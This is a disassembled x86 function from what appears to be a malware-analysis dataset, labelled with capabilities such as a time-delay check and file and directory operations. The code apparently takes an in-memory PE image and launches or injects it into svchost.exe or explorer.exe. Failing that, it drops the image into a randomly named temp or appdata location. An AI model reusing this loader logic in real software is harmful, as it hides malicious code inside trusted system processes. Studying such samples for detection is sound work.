Function at 0x10012350
Capabilities:
Check for time delay via gettickcount
Create directory
Delete file
Get common file path

Disassembly:
sub esp, 0x658
mov eax, dword [0x100812a0]
xor eax, esp
mov dword [esp + 0x654], eax
mov eax, dword [esp + 0x65c]
push ebx
push ebp
push esi
mov ebx, ecx
push edi
mov dword [esp + 0x1c], ebx
cmp eax, 1
jge 0x10012382
or eax, 0xffffffff
jmp 0x100129b7
mov eax, dword [ebx + 0x3c]
mov ecx, 0xf0
mov dword [esp + 0x14], 0xffffffff
push 0x104
cmp word [eax + ebx + 0x14], cx
je 0x100126c6
lea edx, [esp + 0x254]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
call fcn.10012300
lea edi, [esp + 0x250]
add edi, 0xfffffffe
test eax, eax
jne 0x100123d6
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x100123c3
mov esi, str._system32_svchost.exe
jmp 0x100123e7
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x100123d6
mov esi, str._syswow64_svchost.exe
mov ecx, 0xb
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x20], 0x183ef191
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.10020287
add esp, 4
call fcn.10020299
cdq
mov ecx, 0xf
idiv ecx
xor esi, esi
lea edi, [edx + 6]
test edi, edi
jle 0x10012439
jmp 0x10012420
call fcn.10020299
cdq
mov ecx, 0x1a
idiv ecx
inc esi
add dl, 0x41
mov byte [esp + esi + 0x23], dl
cmp esi, edi
jl 0x10012420
lea edx, [esp + 0x24]
push edx
push 0
push 0
push 0
mov byte [esp + esi + 0x34], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ebp, eax
mov eax, 0x5a4d
mov edi, 1
mov dword [esp + 0x18], ebp
mov dword [esp + 0x44], edi
cmp word [ebx], ax
jne 0x1001249e
lea ecx, [esp + 0x20]
push ecx
push ebx
lea ecx, [edi + 0x27]
lea edx, [esp + 0x258]
call fcn.10010280
add esp, 8
cmp eax, 0xffffffff
je 0x1001249e
push 0x7d0
push ebp
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x1001249e
mov dword [esp + 0x14], eax
jmp 0x100129a3
push 0x104
lea edx, [esp + 0x254]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
cmp dword [0x10083bfc], 0
jne 0x100124f4
push str.IsWow64Process
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x100124ee
push 0x10083bf8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
test eax, eax
jne 0x100124ee
mov dword [0x10083bf8], eax
mov dword [0x10083bfc], edi
lea edi, [esp + 0x250]
add edi, 0xfffffffe
cmp dword [0x10083bf8], 0
je 0x10012530
jmp 0x10012510
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x10012510
mov ecx, 0xb
mov esi, str._syswow64explorer.exe
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
jmp 0x10012548
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x10012530
mov ecx, 7
mov esi, str.explorer.exe
rep movsd dword es:[edi], dword [esi]
mov eax, 0x5a4d
cmp word [ebx], ax
jne 0x1001258a
lea ecx, [esp + 0x20]
push ecx
push ebx
mov ecx, 0x28
lea edx, [esp + 0x258]
call fcn.10010280
add esp, 8
cmp eax, 0xffffffff
je 0x1001258a
push 0x7d0
push ebp
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x1001258a
mov dword [esp + 0x14], eax
jmp 0x100129a3
lea ecx, [esp + 0x48]
push ecx
xor edx, edx
xor eax, eax
push 0x103
mov word [esp + 0x460], dx
mov word [esp + 0x50], ax
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea edx, [esp + 0x458]
push edx
push 0
push 0
lea eax, [esp + 0x54]
push eax
call ebp
push 0x28
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x460]
push edx
mov eax, ebx
call fcn.10010110
add esp, 0xc
cmp eax, 0xffffffff
je 0x10012608
mov eax, dword [esp + 0x18]
push 0x7d0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x10012608
mov dword [esp + 0x14], eax
lea eax, [esp + 0x20]
push 0x28
push eax
mov eax, ebx
jmp 0x1001295f
lea ecx, [esp + 0x458]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 1
push 0x1c
lea edx, [esp + 0x50]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x100126b8
lea edi, [esp + 0x48]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x10012636
mov eax, dword [0x1007eae4]
mov dword [edi], eax
lea eax, [esp + 0x48]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10012650
sub eax, edx
sar eax, 1
lea ebx, [esp + eax*2 + 0x48]
call fcn.10020299
cdq
mov ecx, 0xa
idiv ecx
lea edi, [edx + 6]
call fcn.10017e60
lea edi, [esp + 0x48]
add edi, 0xfffffffe
nop
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x10012680
mov edx, dword [0x1007eae4]
push 0
lea eax, [esp + 0x4c]
push eax
mov dword [edi], edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea ecx, [esp + 0x458]
push ecx
push 0
push 0
lea edx, [esp + 0x54]
push edx
call ebp
mov ebx, dword [esp + 0x1c]
lea eax, [esp + 0x20]
push 0x28
push eax
mov eax, ebx
jmp 0x1001295f
lea ecx, [esp + 0x254]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea edi, [esp + 0x250]
add edi, 0xfffffffe
mov edi, edi
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x100126e0
mov ecx, 0xb
mov esi, str._system32_svchost.exe
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x20], 0x183ef191
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.10020287
add esp, 4
call fcn.10020299
cdq
mov ecx, 0xf
idiv ecx
xor esi, esi
lea edi, [edx + 6]
test edi, edi
jle 0x1001273e
call fcn.10020299
cdq
mov ecx, 0x1a
idiv ecx
inc esi
add dl, 0x41
mov byte [esp + esi + 0x23], dl
cmp esi, edi
jl 0x10012725
lea edx, [esp + 0x24]
push edx
push 0
push 0
push 0
mov byte [esp + esi + 0x34], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ebp, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, eax
mov eax, dword [esp + 0x1c]
mov ecx, 0x5a4d
mov dword [esp + 0x18], ebx
mov dword [esp + 0x44], 1
cmp word [eax], cx
jne 0x100127aa
lea edx, [esp + 0x20]
push edx
push eax
mov ecx, 0x28
lea edx, [esp + 0x258]
call fcn.10010280
add esp, 8
cmp eax, 0xffffffff
je 0x100127aa
push 0x7d0
push ebx
call ebp
test eax, eax
jne 0x100127aa
mov dword [esp + 0x14], eax
jmp 0x100129a3
push 0x104
lea eax, [esp + 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea edi, [esp + 0x250]
add edi, 0xfffffffe
jmp 0x100127d0
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x100127d0
mov edx, dword [esp + 0x1c]
mov ecx, 7
mov esi, str.explorer.exe
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x5a4d
cmp word [edx], cx
jne 0x1001282c
lea eax, [esp + 0x20]
mov ecx, edx
push eax
push ecx
mov ecx, 0x28
lea edx, [esp + 0x258]
call fcn.10010280
add esp, 8
cmp eax, 0xffffffff
je 0x1001282c
push 0x7d0
push ebx
call ebp
test eax, eax
jne 0x1001282c
mov dword [esp + 0x14], eax
jmp 0x100129a3
lea ecx, [esp + 0x48]
push ecx
xor edx, edx
xor eax, eax
push 0x103
mov word [esp + 0x460], dx
mov word [esp + 0x50], ax
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea edx, [esp + 0x458]
push edx
push 0
push 0
lea eax, [esp + 0x54]
push eax
call ebp
mov eax, dword [esp + 0x1c]
push 0x28
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x460]
push edx
call fcn.10010110
add esp, 0xc
cmp eax, 0xffffffff
je 0x100128a1
push 0x7d0
mov eax, ebx
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x100128a1
mov dword [esp + 0x14], eax
jmp 0x10012954
lea ecx, [esp + 0x458]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 1
push 0x1c
lea edx, [esp + 0x50]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x10012954
lea edi, [esp + 0x48]
add edi, 0xfffffffe
nop
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x100128d0
mov eax, dword [0x1007eae4]
mov dword [edi], eax
lea eax, [esp + 0x48]
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x100128f0
sub eax, edx
sar eax, 1
lea ebx, [esp + eax*2 + 0x48]
call fcn.10020299
cdq
mov ecx, 0xa
idiv ecx
lea edi, [edx + 6]
call fcn.10017e60
lea edi, [esp + 0x48]
add edi, 0xfffffffe
nop
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x10012920
mov edx, dword [0x1007eae4]
push 0
lea eax, [esp + 0x4c]
push eax
mov dword [edi], edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea ecx, [esp + 0x458]
push ecx
push 0
push 0
lea edx, [esp + 0x54]
push edx
call ebp
lea eax, [esp + 0x20]
push 0x28
push eax
mov eax, dword [esp + 0x24]
lea ecx, [esp + 0x460]
push ecx
call fcn.10010110
add esp, 0xc
cmp eax, 0xffffffff
je 0x1001298e
mov edx, dword [esp + 0x18]
push 0x7d0
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x1001298e
mov dword [esp + 0x14], eax
jmp 0x100129a3
cmp dword [esp + 0x14], 0
jge 0x100129a3
lea eax, [esp + 0x458]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [esp + 0x18]
cmp eax, 0xffffffff
je 0x100129b3
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x664]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.100201e8
add esp, 0x658
ret 4